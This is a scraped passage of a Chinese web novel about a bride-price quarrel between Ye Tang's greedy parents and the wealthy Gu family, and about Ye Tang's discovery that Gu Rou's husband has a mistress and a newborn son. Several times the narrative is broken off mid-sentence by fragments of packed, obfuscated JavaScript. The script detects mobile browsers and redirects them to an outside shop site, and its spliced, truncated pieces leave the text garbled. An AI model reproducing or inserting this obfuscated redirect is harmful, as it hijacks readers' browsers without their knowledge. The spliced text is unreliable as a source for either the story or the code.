凑在叶宇耳边小声嘀咕:“小宇,你姐夫家可真了不得!以后咱们是不是也能常来这种地方?我们现在是不是已经实现阶层跨越了?” 叶宇挺了挺背,声音里带着几分傲气:“那当然。我姐和姐夫是初恋,感情深着呢。姐夫对我姐好,自然也不会亏待咱们。” “就是就是,”刘涵连连点头,又忍不住瞟向身形挺拔修长的顾临,羡慕,“你姐可真有福气,我还以为有钱人家的少爷不是丑就是矮,没想到是你姐夫这样的,……你姐命真好。” 叶宇脸色一沉,胳膊肘不着痕迹地撞了她一下。 “你在异想天开什么?要不是因为我姐,你能站在这儿?安分点。” “你……”刘涵被噎得脸一红,有些气恼。 这时,服务生微笑着躬身引路。 叶棠挽着顾临走在前面。 王慧和叶刚,有些拘谨地走在他们身后。 叶宇拉了刘涵一把,两人跟在最后最为紧张,有几次,光滑的地面差点让刘涵摔了跤。 服务生推开包厢的**大门。 刘涵捂嘴惊叹,这个包厢大的,比她现在租住的二居室都要大。 许明珠和顾长青早到了。 看到亲家走进来。 礼貌地请他们入座。 “真不好意思,早就想跟亲家坐下聊聊了,都怪我们家老顾总是忙,一直也没有机会,亲家不见怪吧。” 许明珠先发制人。 王慧要是这个时候找茬,显得自己过于不懂事。 丢自己的脸好说,丢了女儿的脸,那她的生活费,可就减半了。 “不怪不怪,你们是做大事业的人,不像我们都退休了,整天无所事事的,亲家母,你说这话,就是见外了。” 许明珠脸上客气的笑容。 大家纷纷落座。 吃饭对于顾家来说是次要的。 但对于叶家这种没有见过世面的人来说,是有极致诱惑性的。 尤其是叶宇和他的女朋友刘涵。 盯着面前没有见过的食材,口水都要流下来了。 “亲家,亲家母,你看叶棠这孩子也生了,咱们就挑个好日了,把两个孩子的婚礼办一下,你们那边有什么礼节和规矩,尽管提,我们能做到的,一定做到。” 叶棠看了一眼许明珠。 她这个婆婆不是个小气的人,那别墅说给就给了。 但是她主动给,跟别人问她要,是完全两个不同的概念。 幸亏,她提前跟自己的父母打过了招呼。 他们应该…… 叶棠正这样想着。 王慧用手肘捅咕了一下叶刚,“老头子,你有什么想说的,就跟亲家说,咱们那边的嫁娶风俗,我还真有点记不太清楚了。” 叶刚刚要动筷吃菜。 看到自己老婆的眼神,他便只好先放下筷子。 “我们家就这一个女儿,能嫁进你们家,是她的福气,没什么要求。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065440|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>许明珠起身走到叶刚身旁,亲自为他倒了杯五粮液,“亲家别客气,都是一家人,这结婚啊不是旁的事情,这要是礼数方面没做好,会招人笑话,说我们顾家不懂事的。” 酒香四溢。 叶刚忍不住,端起来,痛饮了一杯,“既然亲家母如此的通情达理,那我们也不多要,三千万的聘礼,这女儿你们娶走。” 叶棠瞳仁猛地骤紧:……三千万? 这还涨价了? 当她是什么了? 摇钱树? “爸。”她出口想制止他再继续胡言乱语。 叶刚摆了摆手,说,“你都没进顾家的门,孩子都给他们生了,你是顾家的功臣,我们要三千万,是因为他们在这方面,做得不够好,多吗?” 他看向许明珠和顾长青,“亲家,多吗?” 许明珠没说话。 脸色是肉眼可见的沉了下去。 顾长青也没说话。 脸黑如墨。 这哪是要彩礼啊,这分明就是开批判大会。 打顾家的脸啊。 叶棠赶紧起身,想代父母道歉,解释一下,他们不是这意思。 结果嘴刚张开,叶刚的话再次响起,“你们啊,也不知道给我女儿灌了什么**汤,她跟我们讲,两家见面,不要提彩礼的事情,否则就不给我们养老了,既然都不想给我们养老了,我们更得要彩礼了,你们说,是不是啊亲家。” “爸,你是不是糊涂了,说什么胡话呢。”叶棠急了。 叶刚慢悠悠地又给自己倒了一杯白酒,一口饮下,继续说,“你们看,我这女儿啊,现在估计想把我赶出去呢,你们顾家娶媳妇,要求让我们提,我们提了,看来,你们是不满意我们提的要求,那装什么清高?” 顾临生怕起争执。 忙起身安抚叶刚,“爸,您这要求不过分。” “不过分吗?”叶刚端着透明的酒杯,看向顾家的父母,“你的父母,看起来,好像挺不高兴的样子。” “当然不是,您还有什么要求,只管提出来,到时,我们会一并做到。” 顾临满头的大汗。 如果他有千万,有上亿,他现在马上就可以折现给叶刚。 可他没有。 他回头看向了父母…… 第127章 你也别太得瑟了 “我们顾家不是小气的人,更不会让儿媳妇结婚了,就只专心照顾公婆,不孝顺父母,你放心,叶棠是个好孩子,她不会不孝顺你们的,既然亲家有诸多的要求,不如回去后,好好的仔细想想,将缔结连理所需的大大小小,都列个清单?” 许明珠微微笑着。 语气特别温柔,平静。 叶棠觉得丢脸极了。 她的父母确实是没有见过世面。 但她已经提前叮嘱过了,还玩这一套。 那就不是简单的不懂事,成贪婪了。 “爸,妈,我送你们回去。” 叶棠起身叫着王慧和叶刚走。 叶宇和刘涵好饭还没有吃几口,也不好再留下来。 只好,跟着叶棠离开。 偌大的餐桌上,只留下了顾家三口。 顾临先说话了,“你们如果觉得叶家,要的太多,也请不要拒绝,我不想看着叶棠为难,我爱她,不希望她受一丁点的委屈,钱……你们先替我垫上,等我公司以后赚钱了,我还给你们。” “你这个臭小子。” 顾长青拿起手边的筷子,就冲顾临丢了过去。 他没躲。 筷子砸在脸上,有点疼。 他苦笑。 他现在没有能力,给那么高的彩礼。 如果叶家再要一些七七八八的,换算成现金,会更高。 “算我借你们的。”他垂眸,像个做错事情的孩子。 这时。 包厢门再次被打开。 顾临的姐姐顾柔走了进来。 她一身香奈儿的高订,手臂上爱玛仕限量款包包,头发是新做的,指甲也是。 明艳的大美女。 应该就是形容顾柔的。 “什么情况了?人撤了?”她抬腕看了一眼,手腕上的百达翡丽,抱歉道,“是不是我来晚了,都怪王梹,不是……” 顾柔觉得情况不对劲。 怎么父母和弟弟的脸色…… “你们怎么了?”她将包包放下,坐到了许明珠的身旁,“妈,什么情况?谈崩了?不至于吧?就咱家这条件,什么满足不了?弟弟一辈子就结一次婚,别小气嘛。” “我可没说不给啊。”许明珠冷着脸说。 顾柔看向顾临,“喂,小子,你什么情况啊?” “没什么情况。”顾临垂着脑袋,也不抬头,像是受了万般的委屈。 顾长青深叹一口,“顾家娶媳妇,从来都是长辈操持,你还在这儿借上了,顾临,有这个心,就以后好好经营你的公司,免得以后连经营公司的钱,也要找我借。” 顾临不说话了。 顾长青起身,愤然离席。 许明珠看了顾临一眼,对顾柔说,“你爸气性大,我怕他心脏出问题,先去看一眼。” “嗯。” 包厢里,又少了两个人。 顾柔起身,走到顾临身旁,拉开椅子坐了下来。 “好了,爸妈也没怎么样啊,如果叶家那边不是提太过分的条件,一定会答应的啊,你还不了解爸妈啊?” 顾柔揉了揉顾临的头发。 他红着眼,抬起脸来,“是我没用,如果我有钱……” “行了。”顾柔看不得顾临这矫情的样子,“说说吧,叶家想要多少彩礼啊?崩成这样?” “三千万,应该还有一些别的。”他怕顾柔误会,又补了句解释,“是叶家父母要的,叶棠没要。” “不管是谁要的,三千万对于我们家来说,不算多,怎么就崩了呢?” 顾柔想不通啊。 父母同意叶棠进门,又送了近亿的别墅,就证明他们是有心要接纳叶棠的。 这怎么就…… 顾临摇头。 可能是叶父那理所当然的样子,和不算和善的语气,令父母有一些反感。 像是要卖女儿。 像是拿女儿换利益,换得太过于理直气壮,“也没……崩。” 顾柔毕竟不在场。 其中细节也没法深究。 她起身去拿了自己的包包过来,将手机拿出来,给顾临转了笔钱,“我们家小子,什么时候被钱难为成这样过,还真是一分钱,难倒英雄好汉。” 顾临手机响了一声。 他抬眸看了顾柔一眼。 “干嘛?” “我可不希望看到我家小子,因为几个臭钱,连娶媳妇,都要靠借,姐姐给你出了。” 顾柔抬起下巴。 指了指手机。 顾临拿起手机,一条到账的信息,弹出出来。 “三,三千万?顾柔,你是不是疯了?给我转这么多?” “三千万而已。”顾柔心疼的看着顾临,精致的指甲,抓着顾临的头发,一揪一揪的,“看看我家小子,在外面过的都是什么日子,连三千万都觉得多了,唉……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068374|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不是,你已经结婚了,给我转这么大一笔钱,我姐夫,能同意?” 他可不想,因为自己的事情,搞得人家夫妻产生内部矛盾。 顾柔看着自己的漂亮的手指甲,淡而无味地说,“他不同意,就离呗,这个不乖,下个乖。” 顾临:…… “你也别太得瑟了。” 顾柔笑了笑,“你姐夫,一年给我十几个亿,让我随便花,我怎么花也花不完,才三千万而已,有什么呀。” 顾柔的老公王梹,是她的同学。 从高中起,他就追顾柔。 眼看着她恋爱,眼看着她失恋,眼看着她又恋爱,眼看着她又失恋。 兜兜转转的。 顾柔累了,他下跪了。 王梹爱顾柔,那比他爱叶棠还要疯狂。 只要顾柔多看一眼柜台上的某个包包,下一秒,这家包店里的所有包包,都会出现在他们的家里。 爱是真爱。 有钱也是真有钱。 舍得也是真舍得。 还是掏心掏肺的那种。 但他今天……怎么没来? “姐夫,今天有重要的事情吗?怎么没跟你一起过来?” 顾柔漫不经心地说,“我今天才跟他讲的,要会亲家的事情,但他在国外出差呢,这个人,时差没弄明白,一个劲地跟我说,时间还早还早的,这不,我才来晚了。” “你对姐夫好点。”顾临说。 顾柔推了一下顾临的脑袋,“你是谁弟弟?再说了,我哪儿对他不好了?” “对他好,就赶紧给他生个孩子,姐夫那么喜欢小孩,你搞丁克,我告诉你啊顾柔,这丁克丁的可是女人,男人想生,什么年纪都可以生的。” 顾柔会不知道这个道理吗? 她只是……还没下定决心。 “过两年再说吧。” “过两年,你都四十了,还再说呢?”顾临觉得这事,真得掰扯一下,“且不说你成了大龄产妇了,怀不怀得上都两说,生不生得出来健康的崽子,还是个未知数,赶紧的吧。” “好了,知道了,知道了,真烦,在婆家被催生,回娘家还被催生。” 顾柔起身拿起包包对顾临说,“赶紧的去叶家一趟吧,我也该去做皮肤管理了。” “我跟你说的,你往心里去啊。” 顾柔不耐烦地应着,“知道了,知道了。” 第128章 重男轻女 叶家 客厅里的空气凝固。 叶棠脸色铁青,冷要**。 叶刚醉醺醺地歪在沙发里,眼皮半耷拉,嘴角的酒意明显。 王慧眼神躲闪,不敢直面女儿,又像是在偷偷的,在心底里找着理由,以便应付叶棠接下来的清算。 弟弟叶宇和他那个女朋友,一副事外人的模样。 叶棠不说话。 没人敢开腔。 不知道过了多久, 王慧皮笑肉不笑的,率先开口:“棠棠,你爸就是喝多了胡说八道,你别往心里去。我明天就给你公婆打电话道歉,行不?这婚事要紧,咱们可别伤了和气……” “得了吧。” 叶棠对自己的父母太了解了。 他们最擅长玩这种,人前一套,背地一套。 “你们可真会唱戏。”叶棠声音冷得透骨,“一千万不答应,现在开口要三千万了?你们当顾家是提款机,还是当我是摇钱树?” “你们这套白脸红脸的把戏,我看了三十年了。一个装好人,一个装糊涂,真把我当傻子玩呢?” 叶棠重重地拍着桌子。 吓得叶宇和女朋友,不禁一颤。 “又发什么疯呢?”叶刚咂么了两下嘴,像是从梦中惊醒一般的,眯着眼咕哝:“不许这么跟你妈说话。” “姐,你误会了。”叶宇忙当和事佬,这个姐姐可得罪不得,“爸兴许就是喝多了,才信口开河的……姐,爸妈也是为了你好,咱们家要是什么也不要,那你嫁过去,人家也不拿你当回事,只有重金娶回的媳妇,他们才珍惜的嘛。” “你给我闭嘴,脸面是自己给的,你们在打什么主意,别以为我不清楚。”叶棠盯着他,一字一顿,“你不要以为,我不知道你心里在想什么,你也不是什么光明磊落的人。” “你们就是觉得,我结婚了,以后肯定顾不上你们,所以你想多要一点钱,我告诉你们,顾家不会给的,就算给,我也会退回去,有本事自己挣,没本事,我给你们多少,你们就拿多少,再给我惹是生非的,你们从我这儿,一分钱也拿不到。” 叶棠真的生气了。 父母丢了父母的脸面。 连同她的脸面也丢尽了。 好像,她这么多年,处心积虑的就是看中了顾家的家底。 虽然三千万掏不空顾家。 但是这么个事吗? “姐你……” 叶宇嘴唇动了动,终究没再吭声。 王慧见到儿子也被骂,脸色也沉了下来。 “叶棠,你也别太过分。”这女大外向,真是不假,“叶宇说的没错,你当年上学的时候就跟顾临在外面同居,人家顾家早就瞧不上你了,后来你又甩了顾临出国了那么多年,你以为你在顾家,还有多少分量?” 每一个字都像钢针,精准地刺进叶棠心里最柔软的地方。 她没想到,这些话会从自己母亲嘴里说出来。 她当年和顾临同居,还不是因家里生病的生病,欠钱的欠钱,上不起学的上不起学。 顾临帮她。 她难道就一点回馈都不给吗? 现在竟然说这种话。 “接着说。”叶棠听见自己的声音异常平静,“还有什么难听的,一起说了。” 王慧被这平静,激得更怒:“叶棠,你要有本事,就一胎得男,兴许人家顾家还能高看一眼,你生的是个丫头片子,女孩在顾家那种家庭能顶什么用?我们现在不多给你要点保障,将来你在顾家受了委屈,连个退路都没有!三千万对顾家算什么?九牛一毛!他们要是连这点都不肯给,就是没把你当回事!” 叶棠笑了,笑得眼眶发酸。 从小县城考进985大学,拿到全额奖学金出国,自己创业,一步步走到今天。 在父母眼里。 不过是一个被吸血的工具而已。 心快凉透了。 她生了个女儿,在他们眼里,没有疼爱,无足轻重。 顾家还没说什么的。 他们倒是先给嫌弃上了。 骨子重男轻女。 根本对她毫无尊重可言。 他们好像忘了,这个家是谁撑起来的。 “我的婚姻,我的孩子,我在顾家的地位……”叶棠慢慢地说,每个字都像从牙缝里挤出来,“这些,跟你们有什么关系?” “怎么没关系!你是我们生的养的!”王慧拍着沙发扶手站起来,“我们还能害你?不都是为了你好!” “为了我好?”叶棠重复这四个字,觉得荒谬至极,“为了我好,就是在我结婚前狮子大开口,让所有人都觉得我是图人家里的钱?为了我好,是看轻我的孩子,说我生女儿没用?为了我好,你们真的为了我好吗?你们只是为了自己。” 她深吸一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068375|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光扫过父母和弟弟。 “最后一次,听清楚了。”叶棠的声音不高,却让整个客厅安静得落针可闻,“彩礼的事,我说了算。顾家给多少,我会原封不动退回去。你们一分钱都别想拿到。” 叶宇急了,他还等着拿这笔钱,娶媳妇,做生意呢。 “姐,你别冲动……” “还有你。”叶棠转向他,“从今往后,你要有钱你就结婚,没钱你管你父母要,不要让爸妈再找各种理由问我要钱,我一分都不会给的,一分也不会。” 王慧气得浑身发抖:“你、你这个不孝女!我们白养你了!” “养我?”叶棠终于没忍住,眼泪夺眶,“我大学四年的学费有我自己打工赚的,有顾临给的,你们给过一分吗?你们从来不管我能不能吃得饱,穿得暖,到底谁养谁,你们心里不清楚吗?” 她抓起沙发上的包,转身往门口走。 “叶棠!”叶刚突然从沙发里站起来,酒似乎醒了大半,“你,你太不像话了,你今天要是走出这个门,就别再回来!” 叶棠在门口停住脚步,没有回头。 “这可是你们说的,你们别后悔就行。” 门开了,又关上。 客厅里死一般的寂静。 叶宇的女友也算看明白了。 这叶宇没本事也就罢了,这姐姐的血也吸不上了。 那她嫁给这种人,岂不是自己找罪受。 她尴尬地站起身:“叔叔阿姨,我突然想起来还有点事,先走了……” 王慧气懵了。 叶刚脸色一阵红一阵白。 叶宇看着父母,无奈地说道,“你说,你们惹她干嘛呀,这下好了,以后咱们家就得吃糠咽菜了,我可告诉你们,我可没钱给你们。” …… 叶棠在车子里坐了许久。 倒也没有哭。 难受是真的。 她很想像别人一样,大哭一场,可她的眼泪早就没有了。 哪年没的呢。 可能是上初中,因为多吃了个鸡蛋,被母亲暴打的那年吧…… 顾临打来电话,很紧张地问她,“没事吧?别跟爸妈吵,三千万没问题的。” “显你钱多了是不是?你这钱要是给了他们,连个响都听不到。”叶棠语气不太好。 他却敏锐地察觉到了,她语气中哽咽,“先回家来吧,我在家里等你。” 第129章 她不是王太太 叶棠回来时。 连呼吸都透着疲惫。 她慢吞吞地挪到沙发边,陷进去,闭起眼,像是刚打完一场极艰难的仗,从里到外就透出一个字。 累。 好累。 顾临挨着她坐下,手掌轻轻按上她的肩。 指尖慢慢使着力,揉开她绷紧的筋骨。 “没事的,”他声音放得很轻,“三千万而已,谁家娶媳妇不花钱?我们顾家也要脸面,你们要少了,我们还觉得没面子呢。” “得了吧你。” 叶棠没睁眼,嘴角却微微弯了一下。 她是不了解顾家,但她太了解顾临了。 这人指不定为了这笔钱,在他父母面前说了多少软话,磕了多少头呢。 “顾临,”她转过身,看着他眼睛,“你现在的情况,根本不可能拿得出三千万,并且,我觉得这三千万太多了,咱们就不纠结这几千万的事情了,好吗?” 顾临没接话,只是伸手将她揽进怀里。 他手臂收得有些紧,声音埋在她发间,闷闷的:“总是让你受委屈……是我无能。” “怎么就无能了呢?”叶棠抬手捏了捏他的耳垂,“刚认识那会儿,不都是你在养我?以后换我养你好了,这样才公平。” 顾临低低笑了。 叶棠也跟着笑起来。 安静了一会儿,叶棠才轻声问:“你父母……是不是因为我父母狮子大开口,生气了?” “没有。” “真没有?” 顾临点点头,像是忽然想起什么,语气松了松:“我姐还给了我三千万呢。” “啥?你姐给你钱了?”叶一怔。 她知道顾临有个姐姐,但从未见过。 听说早就结了婚,嫁得极好。 可随手转三千万…… “你收了?” “她直接打我卡上了。” 叶棠想了想,摇头:“这钱得退回去。她结婚了,钱是夫妻共有的……别因为我们,让你姐和姐夫闹不愉快。” “我也这么想。”顾临答应着。 “对了,你姐夫叫什么来着?” “王梹。” “秉旺集团的那个王梹?” “没错。” 叶棠忽然觉得这名字有些耳熟。 前阵子工作室接了个大单,订制一套顶级红宝石首饰,主石罕见,设计繁复,为了这个设计,全工作室的人,加班加点的。 成品价值近亿。 **她倒没怎么上眼看,负责的设计说是给“王太太”的。 那应该是送顾柔的惊喜了。 “你姐夫……应该很爱你姐吧?” “是啊,”顾临眼神暖了暖,“他从小就喜欢我姐,追了好多年。现在也是疼得跟眼珠子似的。” 叶棠听着,轻轻点了点头。 她忽然觉得,那套天价珠宝,或许不是什么炫耀,只是漫长岁月里,一个人对另一个人笨拙而奢侈的偏爱。 她靠在顾临怀里,肩上的手一下一下,温柔而踏实。 窗外暮色渐合,屋里没有开灯,昏暗中透进来一点路灯光,浅浅的…… ……翌日。 叶棠到公司。 她刚放下包,负责红宝石项目的设计师就敲门进来。 她手里捧着丝绒托盘,上面整齐叠放着出货单和质检报告。 “叶总,这套红宝全部工序已完成,请您最终签字确认。”设计师将文件轻轻递到她面前。 叶棠接过笔,边签边问:“反复检查过了吗?这种级别的客户,容不得半点差错。” “您放心,所有细节都核对了三遍以上。”设计师顿了顿,补充道,“另外,王太太下午会亲自来取。您是否要出面接待?” 上亿的单子在海棠工作室不算多见,但每年总有几个。 叶棠一贯重视,只要她在,必定亲自接待,更何况,这位“王太太”就是顾临的姐姐。 “订一束鲜花,要大方雅致的那种。”叶棠合上笔盖,“客户到之前提醒我。” “好的,我马上去准备。” 为了让自己的形象更温柔一些。 叶棠换了下了通勤的西装。 换了件米白色针织连衣裙,口红的颜色也从正红换成了温柔的豆沙粉。 人一下子柔和了许多。 她很满意。 花在下午两点送到。 三点整,设计师过来说:“叶总,王太太到了。” 叶棠抱起花束,走向贵宾室的短短一段路,她甚至提前浮起笑意,那句“姐”已经迫不及待地,走到了唇边…… 推开门,她怔住了。 坐在沙发上的女人很秀气,长发温婉地挽在脑后。 她确实是美的,但不是顾柔。 顾柔是那种明艳的大美女,走到哪儿都会引人注目三分的。 她见过照片的。 难道是她记错了下单的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069291|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您是……王太太?”叶棠将花递上,客气又礼貌。 女人起身接过,微抿唇角,“是的,谢谢。” “您请坐。小孙,给王太太准备咖啡。” 寒暄落座。 设计师戴好白手套,将黑色丝绒托盘郑重端上。 红宝石在灯光下流淌着鸽血般浓郁的光泽,每一颗主石周围都镶着密密的钻石,宛如星河。 “这套珠宝是王先生特别订制的,想必是想给您一个惊喜。”叶棠微笑着。 女人掩唇轻笑,眼角漾起细细的纹路:“他呀,就爱搞这些仪式感。” “王先生对您真的很用心。”叶棠说着,心里的疑虑却越来越深。 她不动声色地示意设计师取来内部订单资料。 仔细地确认着,上面的各种信息。 因为要走公账,所以订单上的资料比较详细。 “王太太,按照流程,还需要与您核对一下订单信息,请您别介意。” “应该的,你请便。” “下单人是王梹先生,秉旺集团总裁。预留手机号是139……”叶棠报出一串数字,目光静静落在女人脸上,“可能需要请您现场与王先生通话确认一下。” “没问题。”女人从容地拿出手机,拨通后柔声道,“老公,我来取首饰了,叶总这边需要你确认身份……嗯,好。” 她将手机递给叶棠。 听筒里传来低沉的男声:“叶总,我是王梹。首饰交给她就行,后续发票发集团财务的邮箱。” “好的王总,感谢您的信任。” 挂断电话,叶棠心里已经清楚了。 王梹确实是顾临的姐夫。 但眼前这位,并不是顾柔。 她将确认单推向女人,顺势闲聊般问道:“王先生送这么贵重的礼物,一定是为了特别的日子吧?结婚纪念日?” 女人接过笔,在签名处流畅地写下自己的名字,**赵媛**。 “倒也不是,”她搁下笔,笑容里透出些许赧然与幸福,“前阵子我刚给他生了个儿子,他高兴坏了,非要奖励我。” 叶棠的心轻轻一沉,不动声色地,恭维了几句。 “看来王总非常爱您。” “那倒是。”赵媛抚了抚珠宝盒边缘,抬头时眼里有光,“他很喜欢孩子,这次算是完成他的心愿了,难免有些高兴过了头,才送了如此贵重的礼物。” 第130章 情深也抵不过一个孩子 “你说笑了王太太,您值得的。” 女人的心情不错,“那我就不多留了,感谢你们。” “客气了王太太。” 叶棠起身送客。 设计师看着女人的背影,也有诸多的疑惑,“这个王太太,怎么跟新闻上的那个王太太,长得不像啊?” “新闻上?”叶棠问。 设计师拿出手机,给叶棠看了一眼,前不久一个剪彩,“你看,这就是王梹,站在他身旁的就是他的太太,今天这个女的……不会是小三吧?” 在他们工作室。 见过的小三太多了。 打着某某太太的名义,不过就是怕被人说三道四。 真正的豪门阔太太,自己喜欢珠宝,只会亲自上门,亲自挑选设计师。 最后自己拍板付款。 哪里用得着男人。 男人送女人珠宝,不否认有个别是送的惊喜,大部分是因为女人的身份见不得光,而女人也不敢要求什么,便是送什么就收什么。 设计师的话,又验证了叶棠心里的猜想。 顾临的姐姐嫁给王梹后,一直没有生育。 据说是顾柔想丁克。 而现在是……王梹已经跟别的女人生了孩子了? 天哪。 这是什么惊天内幕。 顾柔……要是知道了这事,可怎么办? 叶棠在公司里纠结了半天,最后向顾临要了顾柔的手机号。 加了她的微信。 其实,叶棠还是想再求证一下。 万一……此王梹,非彼王梹呢。 叶棠:[姐,我是叶棠,一直也没有跟你见上面,你看你什么时候有时间,咱们见一面吧。] 那头,似乎也没有什么事情。 很快就回了过来,[我随时可以啊。] [那今晚?]叶棠试探着问,[如果姐夫有时间的话,我们一起吃个饭吧,今天顾临刚好有时间。] 那头似乎是去问了。 差不多十分钟,给叶棠回了过来:[行啊,那就晚上约吧,餐厅还是我们来订,怎么好意思让你来请客呢,到时位置发你。] 叶棠没跟她客气。 [好的姐。] 王梹这事,叶棠没敢跟顾临讲。 毕竟也不是什么好事。 而且这事,现在没得到验证,万一……中间有什么误会呢。 宁拆十座庙,不毁一桩婚的道理,她还是懂的。 回到家后。 叶棠在衣柜里挑选着,最得体的衣服,准备赴晚上的聚会。 顾临从身后抱着她,在她颈窝里吸着她的气息,“不至于这么隆重,随便挑一件就好,咱这么漂亮,穿什么都好看。” “穿得得体大方一些,也算是对你姐的尊重,不是吗?” 顾临的大手,在她的腰上来回地摩挲着,男人的意思明显。 叶棠怕他来劲,轻轻地推开了他,“晚上再来,要不一会儿该迟到了。” 顾临失落的坐到大床上。 看着妻子,一件件地试衣服,化妆,烫头发。 眉眼间尽是温柔。 叶棠变了。 以前是黑长直,清纯得不得了。 现在呢,女人味明显,搞得他总是心痒痒,恨不得吃了她。 顾临与叶棠到达餐厅时,时间掐得正好。 顾柔和王梹已经提前到了。 餐桌上也摆好几道前菜与醒好的红酒,王梹正低声与侍者确认着什么。 餐厅装潢得极有格调。 浓郁的北欧花纹从地毯蔓延至穹顶,水晶灯投下暖金色的光,每一桌之间的距离得当,以缕空雕花的屏风半隔,私密又典雅。 “姐。”顾临牵紧叶棠的手,将她带至桌前,“这是叶棠。棠棠,这是我姐姐和姐夫。” 叶棠微微倾身,很自然地与顾柔轻轻拥抱,“姐姐,一直听顾临提起你,早就想见你了,今天总算见到你了,你真的好美,美得惊心动魄的。” 顾柔被她哄得笑意漾开,眼尾弯成温柔的弧线,“小丫头真会说话,姐姐喜欢。” “姐夫。”叶棠转向王梹,伸出手,礼节性地与他握了握。 王梹只是颔首,神色平静,话并不多。 用餐中,气氛融洽。 顾柔问起叶棠工作室的趣事,叶棠也笑着答了几句。 王梹抬起眼,对正要添酒的顾柔轻声提醒:“酒少喝些,对皮肤不好。” 声音温沉,略微低哑的质地,令叶棠指尖蓦地一颤。 就是这个声音。 不会错。 这就是今天电话里那个男声。 真的是王梹。 就是眼前这个王梹。 “叶棠?” “叶棠?” “棠棠?” 顾临轻轻碰了碰她的手腕,“姐姐在问你话呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073784|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>叶棠骤然回神,匆忙扬起笑容,“姐,您说。” “我听朋友提过,你那个‘海棠珠宝’工作室口碑很好,哪天我得空,也想去看看,订一件合心意的首饰。”顾柔说着,笑吟吟转向身旁的丈夫,“到时你陪我去,好不好?” “好。” 王梹很温柔。 看向顾柔的眼神中,透着缱绻。 叶棠一阵恍惚。 原来深情这种东西,是可以演出来的。 “姐,你可一定要来哦,我亲自为您设计一款独一无二的珠宝。” “看看,我们家棠棠多贴心。”顾柔笑意更深。 整顿饭表面上风平浪静,言笑晏晏。 叶棠却味同嚼蜡,余光一次次扫过王梹从容的脸。 离开前,找了个机会,叶棠与王梹单独说了两句话。 叶棠的声音不算大,用只有两人能听见的音量:“姐夫,我们海棠珠宝工作室,对你来说,应该不陌生吧?” 王梹蹙眉,微笑,“什么意思?” “咱们今天还通过话,不会这么快就忘记了吧?” 叶棠的视线落在王梹的面上,生怕错过他任何一个微小的表情。 “我听顾临说,你从小就很喜欢姐姐,待她极好,每年十几个亿给她,让她去买开心,我以为,像你这样深情的人,不会出轨。” 她顿了顿,看见王梹的眉心轻轻一跳。 “顾临还提过,姐姐最近正在考虑为您生一个孩子。”叶棠声音放得更轻,却字字清晰,“没想到……姐夫你,好像要与幸福擦肩了。” 王梹沉默着,脸上依旧没什么表情,只是眼神深了几分。 叶棠泛起一阵冷腻的恶心。 “你对外面的女人,很大方,上亿的珠宝,说送就送,听她说,她刚刚为你生了孩子,是个儿子,你很欢喜,我该祝贺你吗?” 王梹慢慢地回眸,看向叶棠,“你认错人了,我外面没有人。” “姐夫,这话就说得没意思了。”叶棠轻轻吸了口气,“华城不会再有第二个秉旺集团,也不会有第二个王梹。错了就是错了,挨打……就得立正。” 她看见顾临拿着她的披肩正朝这边走来,于是将最后一句压得更低:“您还是好好想想,该怎么跟姐姐交代吧。” 说完,她退后半步,仿佛刚才那番对话从未发生。 第131章 出轨 叶棠最头疼的,不是王梹如何向顾柔交代。 那毕竟是人家夫妻之间的事,关上门,总有解法。 她真正为难的,是自己这个知情者,要怎么把这件事,原原本本的、不偏不倚的,摊在顾临面前。 顾柔接受不了王梹出轨,有私生子这事,那是必然。 